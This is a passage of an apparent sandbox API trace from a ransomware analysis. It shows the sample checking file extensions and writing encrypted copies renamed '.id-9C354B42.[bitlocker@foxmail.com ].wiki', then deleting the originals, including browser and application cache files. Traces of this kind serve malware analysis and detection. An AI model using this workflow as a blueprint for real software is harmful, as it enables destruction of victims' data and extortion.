(lpString=".bz2") returned 4 [0174.055] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0174.055] lstrlenW (lpString=".7z") returned 3 [0174.055] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0174.055] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0174.055] lstrlenW (lpString=".dbf") returned 4 [0174.055] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0174.056] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0174.056] lstrlenW (lpString=".1cd") returned 4 [0174.056] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0174.056] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0174.056] lstrlenW (lpString=".jpg") returned 4 [0174.056] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0174.056] lstrcmpiW (lpString1=".lst", lpString2=".wiki") returned -1 [0174.056] lstrlenW (lpString="AcroFnt10.lst") returned 13 [0174.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.621] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=53188) returned 1 [0174.621] CloseHandle (hObject=0x1a0) returned 1 [0174.622] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst")) returned 0x2020 [0174.622] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.622] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.622] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.622] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.622] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0174.623] GetLastError () returned 0x0 [0174.623] ReadFile (in: hFile=0x1a0, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0xcfc4, lpOverlapped=0x0) returned 1 [0174.628] WriteFile (in: hFile=0x1a4, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xcfd0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xcfd0, lpOverlapped=0x0) returned 1 [0174.630] ReadFile (in: hFile=0x1a0, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.630] WriteFile (in: hFile=0x1a4, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.630] SetEndOfFile (hFile=0x1a4) returned 1 [0174.630] CloseHandle (hObject=0x1a4) returned 1 [0174.630] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.630] SetEndOfFile (hFile=0x1a0) returned 1 [0174.632] CloseHandle (hObject=0x1a0) returned 1 [0174.632] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.632] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst")) returned 1 [0174.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 82 [0174.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 82 [0174.632] lstrlenW (lpString=".doc") returned 4 [0174.632] lstrcmpiW (lpString1=".doc", lpString2=".lst") returned -1 [0174.632] lstrlenW (lpString=".docx") returned 5 [0174.632] lstrcmpiW (lpString1=".docx", lpString2="0.lst") returned -1 [0174.632] lstrlenW (lpString=".pdf") returned 4 [0174.632] lstrcmpiW (lpString1=".pdf", lpString2=".lst") returned 1 [0174.632] lstrlenW (lpString=".xls") returned 4 [0174.632] lstrcmpiW (lpString1=".xls", lpString2=".lst") returned 1 [0174.632] lstrlenW (lpString=".xlsx") returned 5 [0174.632] lstrcmpiW (lpString1=".xlsx", lpString2="0.lst") returned -1 [0174.632] lstrlenW (lpString=".ppt") returned 4 [0174.632] lstrcmpiW (lpString1=".ppt", lpString2=".lst") returned 1 [0174.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 82 [0174.632] lstrlenW (lpString=".zip") returned 4 [0174.632] lstrcmpiW (lpString1=".zip", lpString2=".lst") returned 1 [0174.633] lstrlenW (lpString=".rar") returned 4 [0174.633] lstrcmpiW (lpString1=".rar", lpString2=".lst") returned 1 [0174.633] lstrlenW (lpString=".bz2") returned 4 [0174.633] lstrcmpiW (lpString1=".bz2", lpString2=".lst") returned -1 [0174.633] lstrlenW (lpString=".7z") returned 3 [0174.633] lstrcmpiW (lpString1=".7z", lpString2="lst") returned -1 [0174.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 82 [0174.633] lstrlenW (lpString=".dbf") returned 4 [0174.633] lstrcmpiW (lpString1=".dbf", lpString2=".lst") returned -1 [0174.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 82 [0174.633] lstrlenW (lpString=".1cd") returned 4 [0174.633] lstrcmpiW (lpString1=".1cd", lpString2=".lst") returned -1 [0174.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 82 [0174.633] lstrlenW (lpString=".jpg") returned 4 [0174.633] lstrcmpiW (lpString1=".jpg", lpString2=".lst") returned -1 [0174.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 82 [0174.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 82 [0174.633] lstrlenW (lpString=".doc") returned 4 [0174.633] lstrcmpiW (lpString1=".doc", lpString2=".lst") returned -1 [0174.633] lstrlenW (lpString=".docx") returned 5 [0174.633] lstrcmpiW (lpString1=".docx", lpString2="0.lst") returned -1 [0174.633] lstrlenW (lpString=".pdf") returned 4 [0174.633] lstrcmpiW (lpString1=".pdf", lpString2=".lst") returned 1 [0174.633] lstrlenW (lpString=".xls") returned 4 [0174.633] lstrcmpiW (lpString1=".xls", lpString2=".lst") returned 1 [0174.633] lstrlenW (lpString=".xlsx") returned 5 [0174.633] lstrcmpiW (lpString1=".xlsx", lpString2="0.lst") returned -1 [0174.633] lstrlenW (lpString=".ppt") returned 4 [0174.633] lstrcmpiW (lpString1=".ppt", lpString2=".lst") returned 1 [0174.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 82 [0174.634] lstrlenW (lpString=".zip") returned 4 [0174.634] lstrcmpiW (lpString1=".zip", lpString2=".lst") returned 1 [0174.634] lstrlenW (lpString=".rar") returned 4 [0174.634] lstrcmpiW (lpString1=".rar", lpString2=".lst") returned 1 [0174.634] lstrlenW (lpString=".bz2") returned 4 [0174.634] lstrcmpiW (lpString1=".bz2", lpString2=".lst") returned -1 [0174.634] lstrlenW (lpString=".7z") returned 3 [0174.634] lstrcmpiW (lpString1=".7z", lpString2="lst") returned -1 [0174.634] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 82 [0174.634] lstrlenW (lpString=".dbf") returned 4 [0174.634] lstrcmpiW (lpString1=".dbf", lpString2=".lst") returned -1 [0174.634] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 82 [0174.634] lstrlenW (lpString=".1cd") returned 4 [0174.634] lstrcmpiW (lpString1=".1cd", lpString2=".lst") returned -1 [0174.634] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 82 [0174.634] lstrlenW (lpString=".jpg") returned 4 [0174.634] lstrcmpiW (lpString1=".jpg", lpString2=".lst") returned -1 [0174.634] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0174.634] lstrlenW (lpString="GoogleUpdateSetup.exe") returned 21 [0174.634] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.634] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1130328) returned 1 [0174.635] CloseHandle (hObject=0x1a0) returned 1 [0174.635] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe")) returned 0x20 [0174.635] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.635] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.635] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.635] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.635] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0174.636] GetLastError () returned 0x0 [0174.636] ReadFile (in: hFile=0x1a0, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0174.649] WriteFile (in: hFile=0x1a4, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0174.815] ReadFile (in: hFile=0x1a0, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.815] WriteFile (in: hFile=0x1a4, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0174.996] SetEndOfFile (hFile=0x1a4) returned 1 [0174.996] CloseHandle (hObject=0x1a4) returned 1 [0174.996] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.996] SetEndOfFile (hFile=0x1a0) returned 1 [0174.997] CloseHandle (hObject=0x1a0) returned 1 [0174.997] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0174.997] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe")) returned 1 [0174.997] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 155 [0174.997] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 155 [0174.997] lstrlenW (lpString=".doc") returned 4 [0174.997] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0174.997] lstrlenW (lpString=".docx") returned 5 [0174.997] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0174.997] lstrlenW (lpString=".pdf") returned 4 [0174.997] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0174.997] lstrlenW (lpString=".xls") returned 4 [0174.997] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0174.997] lstrlenW (lpString=".xlsx") returned 5 [0174.997] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0174.997] lstrlenW (lpString=".ppt") returned 4 [0174.998] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0174.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 155 [0174.998] lstrlenW (lpString=".zip") returned 4 [0174.998] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0174.998] lstrlenW (lpString=".rar") returned 4 [0174.998] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0174.998] lstrlenW (lpString=".bz2") returned 4 [0174.998] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0174.998] lstrlenW (lpString=".7z") returned 3 [0174.998] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0174.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 155 [0174.998] lstrlenW (lpString=".dbf") returned 4 [0174.998] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0174.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 155 [0174.998] lstrlenW (lpString=".1cd") returned 4 [0174.998] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0174.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 155 [0174.998] lstrlenW (lpString=".jpg") returned 4 [0174.998] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0174.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 155 [0174.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 155 [0174.998] lstrlenW (lpString=".doc") returned 4 [0174.998] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0174.998] lstrlenW (lpString=".docx") returned 5 [0174.998] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0174.998] lstrlenW (lpString=".pdf") returned 4 [0174.998] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0174.998] lstrlenW (lpString=".xls") returned 4 [0174.998] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0174.998] lstrlenW (lpString=".xlsx") returned 5 [0174.999] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0174.999] lstrlenW (lpString=".ppt") returned 4 [0174.999] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0174.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 155 [0174.999] lstrlenW (lpString=".zip") returned 4 [0174.999] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0174.999] lstrlenW (lpString=".rar") returned 4 [0174.999] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0174.999] lstrlenW (lpString=".bz2") returned 4 [0174.999] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0174.999] lstrlenW (lpString=".7z") returned 3 [0174.999] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0174.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 155 [0174.999] lstrlenW (lpString=".dbf") returned 4 [0174.999] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0174.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 155 [0174.999] lstrlenW (lpString=".1cd") returned 4 [0174.999] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0174.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 155 [0174.999] lstrlenW (lpString=".jpg") returned 4 [0174.999] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0174.999] lstrlenW (lpString="data_1") returned 6 [0174.999] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.472] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=270336) returned 1 [0175.472] CloseHandle (hObject=0x1b4) returned 1 [0175.472] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1")) returned 0x2020 [0175.472] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.472] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.473] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0177.064] GetLastError () returned 0x0 [0177.064] ReadFile (in: hFile=0x1b4, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x42000, lpOverlapped=0x0) returned 1 [0177.393] WriteFile (in: hFile=0x160, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x42010, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x42010, lpOverlapped=0x0) returned 1 [0177.399] ReadFile (in: hFile=0x1b4, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.399] WriteFile (in: hFile=0x160, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: 